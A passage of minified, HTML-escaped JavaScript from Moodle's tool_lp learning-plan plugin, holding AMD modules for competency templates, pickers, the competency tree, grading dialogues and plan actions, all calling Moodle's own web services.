define(&quot;tool_lp/templateactions&quot;,[&quot;jquery&quot;,&quot;core/templates&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;tool_lp/actionselector&quot;],(function($,templates,ajax,notification,str,Actionselector){var pagecontextid=0,templateid=0,deleteplans=!0,updatePage=function(newhtml,newjs){$(&#039;[data-region=&quot;managetemplates&quot;]&#039;).replaceWith(newhtml),templates.runTemplateJS(newjs)},reloadList=function(context){templates.render(&quot;tool_lp/manage_templates_page&quot;,context).done(updatePage).fail(notification.exception)},doDelete=function(){ajax.call([{methodname:&quot;core_competency_delete_template&quot;,args:{id:templateid,deleteplans:deleteplans}},{methodname:&quot;tool_lp_data_for_templates_manage_page&quot;,args:{pagecontext:{contextid:pagecontextid}}}])[1].done(reloadList).fail(notification.exception)};return{deleteHandler:function(e){e.preventDefault();var id=$(this).attr(&quot;data-templateid&quot;);templateid=id,deleteplans=!0;var requests=ajax.call([{methodname:&quot;core_competency_read_template&quot;,args:{id:templateid}},{methodname:&quot;core_competency_template_has_related_data&quot;,args:{id:templateid}}]);requests[0].done((function(template){requests[1].done((function(templatehasrelateddata){templatehasrelateddata?str.get_strings([{key:&quot;deletetemplate&quot;,component:&quot;tool_lp&quot;,param:template.shortname},{key:&quot;deletetemplatewithplans&quot;,component:&quot;tool_lp&quot;},{key:&quot;deleteplans&quot;,component:&quot;tool_lp&quot;},{key:&quot;unlinkplanstemplate&quot;,component:&quot;tool_lp&quot;},{key:&quot;confirm&quot;,component:&quot;moodle&quot;},{key:&quot;cancel&quot;,component:&quot;moodle&quot;}]).done((function(strings){var actions=[{text:strings[2],value:&quot;delete&quot;},{text:strings[3],value:&quot;unlink&quot;}],actionselector=new Actionselector(strings[0],strings[1],actions,strings[4],strings[5]);actionselector.display(),actionselector.on(&quot;save&quot;,(function(e,data){&quot;delete&quot;!=data.action&amp;&amp;(deleteplans=!1),doDelete()}))})).fail(notification.exception):str.get_strings([{key:&quot;confirm&quot;,component:&quot;moodle&quot;},{key:&quot;deletetemplate&quot;,component:&quot;tool_lp&quot;,param:template.shortname},{key:&quot;delete&quot;,component:&quot;moodle&quot;},{key:&quot;cancel&quot;,component:&quot;moodle&quot;}]).done((function(strings){notification.confirm(strings[0],strings[1],strings[2],strings[3],doDelete)})).fail(notification.exception)})).fail(notification.exception)})).fail(notification.exception)},duplicateHandler:function(e){e.preventDefault(),templateid=$(this).attr(&quot;data-templateid&quot;),ajax.call([{methodname:&quot;core_competency_duplicate_template&quot;,args:{id:templateid}},{methodname:&quot;tool_lp_data_for_templates_manage_page&quot;,args:{pagecontext:{contextid:pagecontextid}}}])[1].done(reloadList).fail(notification.exception)},init:function(contextid){pagecontextid=contextid}}}));
/**
 * Competency picker from user plans.
 *
 * To handle &#039;save&#039; events use: picker.on(&#039;save&#039;).
 *
 * This will receive a object with either a single &#039;competencyId&#039;, or an array in &#039;competencyIds&#039;
 * depending on the value of multiSelect.
 *
 * @module     tool_lp/competencypicker_user_plans
 * @copyright  2015 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/competencypicker_user_plans&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;,&quot;core/str&quot;,&quot;tool_lp/tree&quot;,&quot;tool_lp/competencypicker&quot;],(function($,Notification,Ajax,Templates,Str,Tree,PickerBase){var Picker=function(userId,singlePlan,multiSelect){PickerBase.prototype.constructor.apply(this,[1,!1,&quot;self&quot;,multiSelect]),this._userId=userId,this._plans=[],singlePlan&amp;&amp;(this._planId=singlePlan,this._singlePlan=!0)};return(Picker.prototype=Object.create(PickerBase.prototype))._plans=null,Picker.prototype._planId=null,Picker.prototype._singlePlan=!1,Picker.prototype._userId=null,Picker.prototype._afterRender=function(){var self=this;PickerBase.prototype._afterRender.apply(self,arguments),self._singlePlan||self._find(&#039;[data-action=&quot;chooseplan&quot;]&#039;).change((function(e){self._planId=$(e.target).val(),self._loadCompetencies().then(self._refresh.bind(self)).catch(Notification.exception)}))},Picker.prototype._fetchCompetencies=function(planId,searchText){var self=this;return Ajax.call([{methodname:&quot;core_competency_list_plan_competencies&quot;,args:{id:planId}}])[0].done((function(competencies){var i,comp,tree=[];for(i=0;i&lt;competencies.length;i++)(comp=competencies[i].competency).shortname.toLowerCase().indexOf(searchText.toLowerCase())&lt;0||(comp.children=[],comp.haschildren=0,tree.push(comp));self._competencies=tree})).fail(Notification.exception)},Picker.prototype._getPlan=function(id){var plan;return $.each(this._plans,(function(i,f){f.id!=id||(plan=f)})),plan},Picker.prototype._loadCompetencies=function(){return this._fetchCompetencies(this._planId,this._searchText)},Picker.prototype._loadPlans=function(){var self=this;return self._plans.length&gt;0?$.when():(self._singlePlan?Ajax.call([{methodname:&quot;core_competency_read_plan&quot;,args:{id:this._planId}}])[0].then((function(plan){return[plan]})):Ajax.call([{methodname:&quot;core_competency_list_user_plans&quot;,args:{userid:self._userId}}])[0]).done((function(plans){self._plans=plans})).fail(Notification.exception)},Picker.prototype._preRender=function(){var self=this;return self._loadPlans().then((function(){return!self._planId&amp;&amp;self._plans.length&gt;0&amp;&amp;(self._planId=self._plans[0].id),self._planId?self._loadCompetencies():(self._plans=[],$.when())}))},Picker.prototype._render=function(){var self=this;return self._preRender().then((function(){self._singlePlan||$.each(self._plans,(function(i,plan){plan.id==self._planId?plan.selected=!0:plan.selected=!1}));var context={competencies:self._competencies,plan:self._getPlan(self._planId),plans:self._plans,search:self._searchText,singlePlan:self._singlePlan};return Templates.render(&quot;tool_lp/competency_picker_user_plans&quot;,context)}))},Picker}));
/**
 * Handle selection changes on the competency tree.
 *
 * @module     tool_lp/competencyselect
 * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/competencytree&quot;,[&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;,&quot;tool_lp/tree&quot;,&quot;tool_lp/competency_outcomes&quot;,&quot;jquery&quot;],(function(ajax,notification,templates,Ariatree,CompOutcomes,$){var competencies={},competencyFrameworkId=0,competencyFrameworkShortName=&quot;&quot;,treeSelector=&quot;&quot;,currentNodeId=&quot;&quot;,competencyFramworkCanManage=!1,addChildren=function(parent,all){var i=0,current=!1;for(parent.haschildren=!1,parent.children=[],i=0;i&lt;all.length;i++)(current=all[i]).parentid==parent.id&amp;&amp;(parent.haschildren=!0,parent.children.push(current),addChildren(current,all))},loadCompetencies=function(searchtext){var deferred=$.Deferred();return templates.render(&quot;tool_lp/loading&quot;,{}).done((function(loadinghtml,loadingjs){templates.replaceNodeContents($(treeSelector),loadinghtml,loadingjs),ajax.call([{methodname:&quot;core_competency_search_competencies&quot;,args:{searchtext:searchtext,competencyframeworkid:competencyFrameworkId}}])[0].done((function(result){competencies={};var i=0;for(i=0;i&lt;result.length;i++)competencies[result[i].id]=result[i];var children=[],competency=!1;for(i=0;i&lt;result.length;i++)competency=result[i],0===parseInt(competency.parentid,10)&amp;&amp;(children.push(competency),addChildren(competency,result));var context={shortname:competencyFrameworkShortName,canmanage:competencyFramworkCanManage,competencies:children};templates.render(&quot;tool_lp/competencies_tree_root&quot;,context).done((function(html,js){templates.replaceNodeContents($(treeSelector),$(html).html(),js);var tree=new Ariatree(treeSelector,!1);if(currentNodeId){var node=$(treeSelector).find(&quot;[data-id=&quot;+currentNodeId+&quot;]&quot;);node.length&amp;&amp;(tree.selectItem(node),tree.updateFocus(node))}deferred.resolve(competencies)})).fail(deferred.reject)})).fail(deferred.reject)})),deferred.promise()},rememberCurrent=function(evt,params){var node=params.selected;currentNodeId=node.attr(&quot;data-id&quot;)};return{init:function(id,shortname,search,selector,canmanage,competencyid){competencyFrameworkId=id,competencyFrameworkShortName=shortname,competencyFramworkCanManage=canmanage,treeSelector=selector,loadCompetencies(search).fail(notification.exception),competencyid&gt;0&amp;&amp;(currentNodeId=competencyid),this.on(&quot;selectionchanged&quot;,rememberCurrent)},on:function(eventname,handler){$(treeSelector).on(eventname,handler)},getChildren:function(id){var children=[];return $.each(competencies,(function(index,competency){competency.parentid==id&amp;&amp;children.push(competency)})),children},getCompetencyFrameworkId:function(){return competencyFrameworkId},getCompetency:function(id){return competencies[id]},getCompetencyLevel:function(id){return this.getCompetency(id).path.replace(/^\/|\/$/g,&quot;&quot;).split(&quot;/&quot;).length},hasChildren:function(id){return this.getChildren(id).length&gt;0},hasRule:function(id){var comp=this.getCompetency(id);return!!comp&amp;&amp;(comp.ruleoutcome!=CompOutcomes.OUTCOME_NONE&amp;&amp;comp.ruletype)},reloadCompetencies:function(){return loadCompetencies(&quot;&quot;).fail(notification.exception)},listCompetencies:function(){return competencies}}}));
/**
 * Grade dialogue.
 *
 * @module     tool_lp/grade_dialogue
 * @copyright  2016 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/grade_dialogue&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;,&quot;tool_lp/dialogue&quot;,&quot;tool_lp/event_base&quot;,&quot;core/str&quot;],(function($,Notification,Templates,Dialogue,EventBase,Str){var Grade=function(ratingOptions){EventBase.prototype.constructor.apply(this,[]),this._ratingOptions=ratingOptions};return(Grade.prototype=Object.create(EventBase.prototype))._popup=null,Grade.prototype._ratingOptions=null,Grade.prototype._afterRender=function(){var btnRate=this._find(&#039;[data-action=&quot;rate&quot;]&#039;),lstRating=this._find(&#039;[name=&quot;rating&quot;]&#039;),txtComment=this._find(&#039;[name=&quot;comment&quot;]&#039;);this._find(&#039;[data-action=&quot;cancel&quot;]&#039;).click(function(e){e.preventDefault(),this._trigger(&quot;cancelled&quot;),this.close()}.bind(this)),lstRating.change((function(){$(this).val()?btnRate.prop(&quot;disabled&quot;,!1):btnRate.prop(&quot;disabled&quot;,!0)})).change(),btnRate.click(function(e){e.preventDefault();var val=lstRating.val();val&amp;&amp;(this._trigger(&quot;rated&quot;,{rating:val,note:txtComment.val()}),this.close())}.bind(this))},Grade.prototype.close=function(){this._popup.close(),this._popup=null},Grade.prototype.display=function(){return M.util.js_pending(&quot;tool_lp/grade_dialogue:display&quot;),$.when(Str.get_string(&quot;rate&quot;,&quot;tool_lp&quot;),this._render()).then(function(title,templateResult){return this._popup=new Dialogue(title,templateResult[0],function(){this._afterRender(),M.util.js_complete(&quot;tool_lp/grade_dialogue:display&quot;)}.bind(this)),this._popup}.bind(this)).catch(Notification.exception)},Grade.prototype._find=function(selector){return $(this._popup.getContent()).find(selector)},Grade.prototype._render=function(){var context={cangrade:this._canGrade,ratings:this._ratingOptions};return Templates.render(&quot;tool_lp/competency_grader&quot;,context)},Grade}));
/**
 * Competency rule all module.
 *
 * @module     tool_lp/competency_rule_all
 * @copyright  2015 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/competency_rule_all&quot;,[&quot;jquery&quot;,&quot;core/str&quot;,&quot;tool_lp/competency_rule&quot;],(function($,Str,RuleBase){var Rule=function(){RuleBase.apply(this,arguments)};return(Rule.prototype=Object.create(RuleBase.prototype)).getType=function(){return&quot;core_competency\\competency_rule_all&quot;},Rule.prototype.isValid=function(){return!0},Rule}));
/**
 * Event base javascript module.
 *
 * @module     tool_lp/event_base
 * @copyright  2015 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/event_base&quot;,[&quot;jquery&quot;],(function($){var Base=function(){this._eventNode=$(&quot;&lt;div&gt;&lt;/div&gt;&quot;)};return Base.prototype._eventNode=null,Base.prototype.on=function(type,handler){this._eventNode.on(type,handler)},Base.prototype._trigger=function(type,data){this._eventNode.trigger(type,[data])},Base}));
/**
 * Badge select competency actions
 *
 * @module     tool_lp/form_competency_element
 * @copyright  2019 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/form_competency_element&quot;,[&quot;jquery&quot;,&quot;tool_lp/competencypicker&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;],(function($,Picker,Ajax,Notification,Templates){var pickerInstance=null,pageContextId=1,renderCompetencies=function(){var currentCompetencies=$(&#039;[data-action=&quot;competencies&quot;]&#039;).val(),requests=[],i=0;if(&quot;&quot;!=currentCompetencies)for(currentCompetencies=currentCompetencies.split(&quot;,&quot;),i=0;i&lt;currentCompetencies.length;i++)requests[requests.length]={methodname:&quot;core_competency_read_competency&quot;,args:{id:currentCompetencies[i]}};return $.when.apply($,Ajax.call(requests,!1)).then((function(){var i=0,competencies=[];for(i=0;i&lt;arguments.length;i++)competencies[i]=arguments[i];var context={competencies:competencies};return Templates.render(&quot;tool_lp/form_competency_list&quot;,context)})).then((function(html,js){return Templates.replaceNode($(&#039;[data-region=&quot;competencies&quot;]&#039;),html,js),!0})).fail(Notification.exception),!0},unpickCompetenciesHandler=function(e){var i,currentCompetencies=$(&#039;[data-action=&quot;competencies&quot;]&#039;).val().split(&quot;,&quot;),newCompetencies=[],toRemove=$(e.currentTarget).data(&quot;id&quot;);for(i=0;i&lt;currentCompetencies.length;i++)currentCompetencies[i]!=toRemove&amp;&amp;(newCompetencies[newCompetencies.length]=currentCompetencies[i]);return $(&#039;[data-action=&quot;competencies&quot;]&#039;).val(newCompetencies.join(&quot;,&quot;)),renderCompetencies()},pickCompetenciesHandler=function(){var currentCompetencies=$(&#039;[data-action=&quot;competencies&quot;]&#039;).val().split(&quot;,&quot;);pickerInstance||(pickerInstance=new Picker(pageContextId,!1,&quot;parents&quot;,!0)).on(&quot;save&quot;,(function(e,data){var before=$(&#039;[data-action=&quot;competencies&quot;]&#039;).val(),compIds=data.competencyIds;&quot;&quot;!=before&amp;&amp;(compIds=compIds.concat(before.split(&quot;,&quot;)));var value=compIds.join(&quot;,&quot;);return $(&#039;[data-action=&quot;competencies&quot;]&#039;).val(value),renderCompetencies()})),pickerInstance.setDisallowedCompetencyIDs(currentCompetencies),pickerInstance.display()};return{init:function(contextId){pageContextId=contextId,renderCompetencies(),$(&#039;[data-action=&quot;select-competencies&quot;]&#039;).on(&quot;click&quot;,pickCompetenciesHandler),$(&quot;body&quot;).on(&quot;click&quot;,&#039;[data-action=&quot;deselect-competency&quot;]&#039;,unpickCompetenciesHandler)}}}));
/**
 * Drag and drop reorder via HTML5.
 *
 * @module     tool_lp/dragdrop-reorder
 * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/dragdrop-reorder&quot;,[&quot;core/str&quot;,&quot;core/yui&quot;],(function(str,Y){var dragDropInstance=null,proxyCallback=function(e){var dragNode=e.drag.get(&quot;node&quot;),dropNode=e.drop.get(&quot;node&quot;);this.callback(dragNode.getDOMNode(),dropNode.getDOMNode())};return{dragdrop:function(group,dragHandleText,sameNodeText,parentNodeText,sameNodeClass,parentNodeClass,dragHandleInsertClass,callback){str.get_strings([{key:&quot;emptydragdropregion&quot;,component:&quot;moodle&quot;},{key:&quot;movecontent&quot;,component:&quot;moodle&quot;},{key:&quot;tocontent&quot;,component:&quot;moodle&quot;}]).done((function(){Y.use(&quot;moodle-tool_lp-dragdrop-reorder&quot;,(function(){var context={callback:callback};dragDropInstance&amp;&amp;dragDropInstance.destroy(),dragDropInstance=M.tool_lp.dragdrop_reorder({group:group,dragHandleText:dragHandleText,sameNodeText:sameNodeText,parentNodeText:parentNodeText,sameNodeClass:sameNodeClass,parentNodeClass:parentNodeClass,dragHandleInsertClass:dragHandleInsertClass,callback:Y.bind(proxyCallback,context)})}))}))}}}));
/**
 * Plan actions via ajax.
 *
 * @module     tool_lp/planactions
 * @copyright  2015 David Monllao
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/planactions&quot;,[&quot;jquery&quot;,&quot;core/templates&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;tool_lp/menubar&quot;,&quot;tool_lp/dialogue&quot;],(function($,templates,ajax,notification,str,Menubar,Dialogue){var PlanActions=function(type){if(this._type=type,&quot;plan&quot;===type)this._region=&#039;[data-region=&quot;plan-page&quot;]&#039;,this._planNode=&#039;[data-region=&quot;plan-page&quot;]&#039;,this._template=&quot;tool_lp/plan_page&quot;,this._contextMethod=&quot;tool_lp_data_for_plan_page&quot;;else{if(&quot;plans&quot;!==type)throw new TypeError(&quot;Unexpected type.&quot;);this._region=&#039;[data-region=&quot;plans&quot;]&#039;,this._planNode=&#039;[data-region=&quot;plan-node&quot;]&#039;,this._template=&quot;tool_lp/plans_page&quot;,this._contextMethod=&quot;tool_lp_data_for_plans_page&quot;}};return PlanActions.prototype._contextMethod=null,PlanActions.prototype._planNode=null,PlanActions.prototype._region=null,PlanActions.prototype._template=null,PlanActions.prototype._type=null,PlanActions.prototype._getContextArgs=function(planData){var args={};return&quot;plan&quot;===this._type?args={planid:planData.id}:&quot;plans&quot;===this._type&amp;&amp;(args={userid:planData.userid}),args},PlanActions.prototype.refresh=function(selector){var planData=this._findPlanData($(selector));this._callAndRefresh([],planData)},PlanActions.prototype._renderView=function(context){var self=this;return templates.render(self._template,context).then((function(newhtml,newjs){$(self._region).replaceWith(newhtml),templates.runTemplateJS(newjs)}))},PlanActions.prototype._callAndRefresh=function(calls,planData){var callKey=&quot;tool_lp/planactions:_callAndRefresh-&quot;+Math.floor(Math.random()*Math.floor(1e3));M.util.js_pending(callKey);var self=this;return calls.push({methodname:self._contextMethod,args:self._getContextArgs(planData)}),$.when.apply($,ajax.call(calls)).then((function(){return self._renderView(arguments[arguments.length-1])})).fail(notification.exception).always((function(){return M.util.js_complete(callKey)}))},PlanActions.prototype._doDelete=function(planData){var calls=[{methodname:&quot;core_competency_delete_plan&quot;,args:{id:planData.id}}];this._callAndRefresh(calls,planData)},PlanActions.prototype.deletePlan=function(planData){var self=this;ajax.call([{methodname:&quot;core_competency_read_plan&quot;,args:{id:planData.id}}])[0].done((function(plan){str.get_strings([{key:&quot;confirm&quot;,component:&quot;moodle&quot;},{key:&quot;deleteplan&quot;,component:&quot;tool_lp&quot;,param:plan.name},{key:&quot;delete&quot;,component:&quot;moodle&quot;},{key:&quot;cancel&quot;,component:&quot;moodle&quot;}]).done((function(strings){notification.confirm(strings[0],strings[1],strings[2],strings[3],(function(){self._doDelete(planData)}))})).fail(notification.exception)})).fail(notification.exception)},PlanActions.prototype._doReopenPlan=function(planData){var calls=[{methodname:&quot;core_competency_reopen_plan&quot;,args:{planid:planData.id}}];this._callAndRefresh(calls,planData)},PlanActions.prototype.reopenPlan=function(planData){var self=this;ajax.call([{methodname:&quot;core_competency_read_plan&quot;,args:{id:planData.id}}])[0].done((function(plan){str.get_strings([{key:&quot;confirm&quot;,component:&quot;moodle&quot;},{key:&quot;reopenplanconfirm&quot;,component:&quot;tool_lp&quot;,param:plan.name},{key:&quot;reopenplan&quot;,component:&quot;tool_lp&quot;},{key:&quot;cancel&quot;,component:&quot;moodle&quot;}]).done((function(strings){notification.confirm(strings[0],strings[1],strings[2],strings[3],(function(){self._doReopenPlan(planData)}))})).fail(notification.exception)})).fail(notification.exception)},PlanActions.prototype._doCompletePlan=function(planData){var calls=[{methodname:&quot;core_competency_complete_plan&quot;,args:{planid:planData.id}}];this._callAndRefresh(calls,planData)},PlanActions.prototype.completePlan=function(planData){var self=this;ajax.call([{methodname:&quot;core_competency_read_plan&quot;,args:{id:planData.id}}])[0].done((function(plan){str.get_strings([{key:&quot;confirm&quot;,component:&quot;moodle&quot;},{key:&quot;completeplanconfirm&quot;,component:&quot;tool_lp&quot;,param:plan.name},{key:&quot;completeplan&quot;,component:&quot;tool_lp&quot;},{key:&quot;cancel&quot;,component:&quot;moodle&quot;}]).done((function(strings){notification.confirm(strings[0],strings[1],strings[2],strings[3],(function(){self._doCompletePlan(planData)}))})).fail(notification.exception)})).fail(notification.exception)},PlanActions.prototype._doUnlinkPlan=function(planData){var calls=[{methodname:&quot;core_competency_unlink_plan_from_template&quot;,args:{planid:planData.id}}];this._callAndRefresh(calls,planData)},PlanActions.prototype.unlinkPlan=function(planData){var self=this;ajax.call([{methodname:&quot;core_competency_read_plan&quot;,args:{id:planData.id}}])[0].done((function(plan){str.get_strings([{key:&quot;confirm&quot;,component:&quot;moodle&quot;},{key:&quot;unlinkplantemplateconfirm&quot;,component:&quot;tool_lp&quot;,param:plan.name},{key:&quot;unlinkplantemplate&quot;,component:&quot;tool_lp&quot;},{key:&quot;cancel&quot;,component:&quot;moodle&quot;}]).done((function(strings){notification.confirm(strings[0],strings[1],strings[2],strings[3],(function(){self._doUnlinkPlan(planData)}))})).fail(notification.exception)})).fail(notification.exception)},PlanActions.prototype._doRequestReview=function(planData){var calls=[{methodname:&quot;core_competency_plan_request_review&quot;,args:{id:planData.id}}];this._callAndRefresh(calls,planData)},PlanActions.prototype.requestReview=function(planData){this._doRequestReview(planData)},PlanActions.prototype._doCancelReviewRequest=function(planData){var calls=[{methodname:&quot;core_competency_plan_cancel_review_request&quot;,args:{id:planData.id}}];this._callAndRefresh(calls,planData)},PlanActions.prototype.cancelReviewRequest=function(planData){this._doCancelReviewRequest(planData)},PlanActions.prototype._doStartReview=function(planData){var calls=[{methodname:&quot;core_competency_plan_start_review&quot;,args:{id:planData.id}}];this._callAndRefresh(calls,planData)},PlanActions.prototype.startReview=function(planData){this._doStartReview(planData)},PlanActions.prototype._doStopReview=function(planData){var calls=[{methodname:&quot;core_competency_plan_stop_review&quot;,args:{id:planData.id}}];this._callAndRefresh(calls,planData)},PlanActions.prototype.stopReview=function(planData){this._doStopReview(planData)},PlanActions.prototype._doApprove=function(planData){var calls=[{methodname:&quot;core_competency_approve_plan&quot;,args:{id:planData.id}}];this._callAndRefresh(calls,planData)},PlanActions.prototype.approve=function(planData){this._doApprove(planData)},PlanActions.prototype._doUnapprove=function(planData){var calls=[{methodname:&quot;core_competency_unapprove_plan&quot;,args:{id:planData.id}}];this._callAndRefresh(calls,planData)},PlanActions.prototype.unapprove=function(planData){this._doUnapprove(planData)},PlanActions.prototype._showLinkedCoursesHandler=function(e){e.preventDefault();var competencyid=$(e.target).data(&quot;id&quot;);ajax.call([{methodname:&quot;tool_lp_list_courses_using_competency&quot;,args:{id:competencyid}}])[0].done((function(courses){var context={courses:courses};templates.render(&quot;tool_lp/linked_courses_summary&quot;,context).done((function(html){str.get_string(&quot;linkedcourses&quot;,&quot;tool_lp&quot;).done((function(linkedcourses){new Dialogue(linkedcourses,html)})).fail(notification.exception)})).fail(notification.exception)})).fail(notification.exception)},PlanActions.prototype._eventHandler=function(method,e){e.preventDefault();var data=this._findPlanData($(e.target));this[method](data)},PlanActions.prototype._findPlanData=function(node){var data,parent=node.parentsUntil($(this._region).parent(),this._planNode);if(1!=parent.length)throw new Error(&quot;The plan node was not located.&quot;);if(void 0===(data=parent.data())||void 0===data.id)throw new Error(&quot;Plan data could not be found.&quot;);return data},PlanActions.prototype.enhanceMenubar=function(selector){Menubar.enhance(selector,{&#039;[data-action=&quot;plan-delete&quot;]&#039;:this._eventHandler.bind(this,&quot;deletePlan&quot;),&#039;[data-action=&quot;plan-complete&quot;]&#039;:this._eventHandler.bind(this,&quot;completePlan&quot;),&#039;[data-action=&quot;plan-reopen&quot;]&#039;:this._eventHandler.bind(this,&quot;reopenPlan&quot;),&#039;[data-action=&quot;plan-unlink&quot;]&#039;:this._eventHandler.bind(this,&quot;unlinkPlan&quot;),&#039;[data-action=&quot;plan-request-review&quot;]&#039;:this._eventHandler.bind(this,&quot;requestReview&quot;),&#039;[data-action=&quot;plan-cancel-review-request&quot;]&#039;:this._eventHandler.bind(this,&quot;cancelReviewRequest&quot;),&#039;[data-action=&quot;plan-start-review&quot;]&#039;:this._eventHandler.bind(this,&quot;startReview&quot;),&#039;[data-action=&quot;plan-stop-review&quot;]&#039;:this._eventHandler.bind(this,&quot;stopReview&quot;),&#039;[data-action=&quot;plan-approve&quot;]&#039;:this._eventHandler.bind(this,&quot;approve&quot;),&#039;[data-action=&quot;plan-unapprove&quot;]&#039;:this._eventHandler.bind(this,&quot;unapprove&quot;)})},PlanActions.prototype.registerEvents=function(){var wrapper=$(this._region);wrapper.find(&#039;[data-action=&quot;plan-delete&quot;]&#039;).click(this._eventHandler.bind(this,&quot;deletePlan&quot;)),wrapper.find(&#039;[data-action=&quot;plan-complete&quot;]&#039;).click(this._eventHandler.bind(this,&quot;completePlan&quot;)),wrapper.find(&#039;[data-action=&quot;plan-reopen&quot;]&#039;).click(this._eventHandler.bind(this,&quot;reopenPlan&quot;)),wrapper.find(&#039;[data-action=&quot;plan-unlink&quot;]&#039;).click(this._eventHandler.bind(this,&quot;unlinkPlan&quot;)),wrapper.find(&#039;[data-action=&quot;plan-request-review&quot;]&#039;).click(this._eventHandler.bind(this,&quot;requestReview&quot;)),wrapper.find(&#039;[data-action=&quot;plan-cancel-review-request&quot;]&#039;).click(this._eventHandler.bind(this,&quot;cancelReviewRequest&quot;)),wrapper.find(&#039;[data-action=&quot;plan-start-review&quot;]&#039;).click(this._eventHandler.bind(this,&quot;startReview&quot;)),wrapper.find(&#039;[data-action=&quot;plan-stop-review&quot;]&#039;).click(this._eventHandler.bind(this,&quot;stopReview&quot;)),wrapper.find(&#039;[data-action=&quot;plan-approve&quot;]&#039;).click(this._eventHandler.bind(this,&quot;approve&quot;)),wrapper.find(&#039;[data-action=&quot;plan-unapprove&quot;]&#039;).click(this._eventHandler.bind(this,&quot;unapprove&quot;)),wrapper.find(&#039;[data-action=&quot;find-courses-link&quot;]&#039;).click(this._showLinkedCoursesHandler.bind(this))},PlanActions}));
/**
 * Competency picker.
 *
 * To handle &#039;save&#039; events use: picker.on(&#039;save&#039;)
 * This will receive a object with either a single &#039;competencyId&#039;, or an array in &#039;competencyIds&#039;
 * depending on the value of multiSelect.
 *
 * @module     tool_lp/competencypicker
 * @copyright  2015 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/competencypicker&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;,&quot;tool_lp/dialogue&quot;,&quot;core/str&quot;,&quot;tool_lp/tree&quot;,&quot;core/pending&quot;],(function($,Notification,Ajax,Templates,Dialogue,Str,Tree,Pending){var Picker=function(pageContextId,singleFramework,pageContextIncludes,multiSelect){this._eventNode=$(&quot;&lt;div&gt;&lt;/div&gt;&quot;),this._frameworks=[],this._reset(),this._pageContextId=pageContextId,this._pageContextIncludes=pageContextIncludes||&quot;children&quot;,this._multiSelect=void 0===multiSelect||!0===multiSelect,singleFramework&amp;&amp;(this._frameworkId=singleFramework,this._singleFramework=!0)};return Picker.prototype._competencies=null,Picker.prototype._disallowedCompetencyIDs=null,Picker.prototype._eventNode=null,Picker.prototype._frameworks=null,Picker.prototype._frameworkId=null,Picker.prototype._pageContextId=null,Picker.prototype._pageContextIncludes=null,Picker.prototype._popup=null,Picker.prototype._searchText=&quot;&quot;,Picker.prototype._selectedCompetencies=null,Picker.prototype._singleFramework=!1,Picker.prototype._multiSelect=!0,Picker.prototype._onlyVisible=!0,Picker.prototype._afterRender=function(){var self=this,tree=new Tree(self._find(&quot;[data-enhance=linktree]&quot;),self._multiSelect);self._find(&quot;[data-enhance=linktree]&quot;).show(),tree.on(&quot;selectionchanged&quot;,(function(evt,params){var selected=params.selected;evt.preventDefault();var validIds=[];$.each(selected,(function(index,item){var compId=$(item).data(&quot;id&quot;),valid=!0;void 0===compId?valid=!1:$.each(self._disallowedCompetencyIDs,(function(i,id){id==compId&amp;&amp;(valid=!1)})),valid&amp;&amp;validIds.push(compId)})),self._selectedCompetencies=validIds,self._selectedCompetencies.length?self._find(&#039;[data-region=&quot;competencylinktree&quot;] [data-action=&quot;add&quot;]&#039;).removeAttr(&quot;disabled&quot;):self._find(&#039;[data-region=&quot;competencylinktree&quot;] [data-action=&quot;add&quot;]&#039;).attr(&quot;disabled&quot;,&quot;disabled&quot;)})),self._singleFramework||self._find(&#039;[data-action=&quot;chooseframework&quot;]&#039;).change((function(e){self._frameworkId=$(e.target).val(),self._loadCompetencies().then(self._refresh.bind(self)).catch(Notification.exception)})),self._find(&#039;[data-region=&quot;filtercompetencies&quot;] button&#039;).click((function(e){return e.preventDefault(),$(e.target).attr(&quot;disabled&quot;,&quot;disabled&quot;),self._searchText=self._find(&#039;[data-region=&quot;filtercompetencies&quot;] input&#039;).val()||&quot;&quot;,self._refresh().always((function(){$(e.target).removeAttr(&quot;disabled&quot;)}))})),self._find(&#039;[data-region=&quot;competencylinktree&quot;] [data-action=&quot;cancel&quot;]&#039;).click((function(e){e.preventDefault(),self.close()})),self._find(&#039;[data-region=&quot;competencylinktree&quot;] [data-action=&quot;add&quot;]&#039;).click((function(e){e.preventDefault();var pendingPromise=new Pending;self._selectedCompetencies.length&amp;&amp;(self._multiSelect?self._trigger(&quot;save&quot;,{competencyIds:self._selectedCompetencies}):self._trigger(&quot;save&quot;,{competencyId:self._selectedCompetencies[0]}),self.close(),pendingPromise.resolve())}));var currentItems=self._selectedCompetencies.slice(0);$.each(currentItems,(function(index,id){var 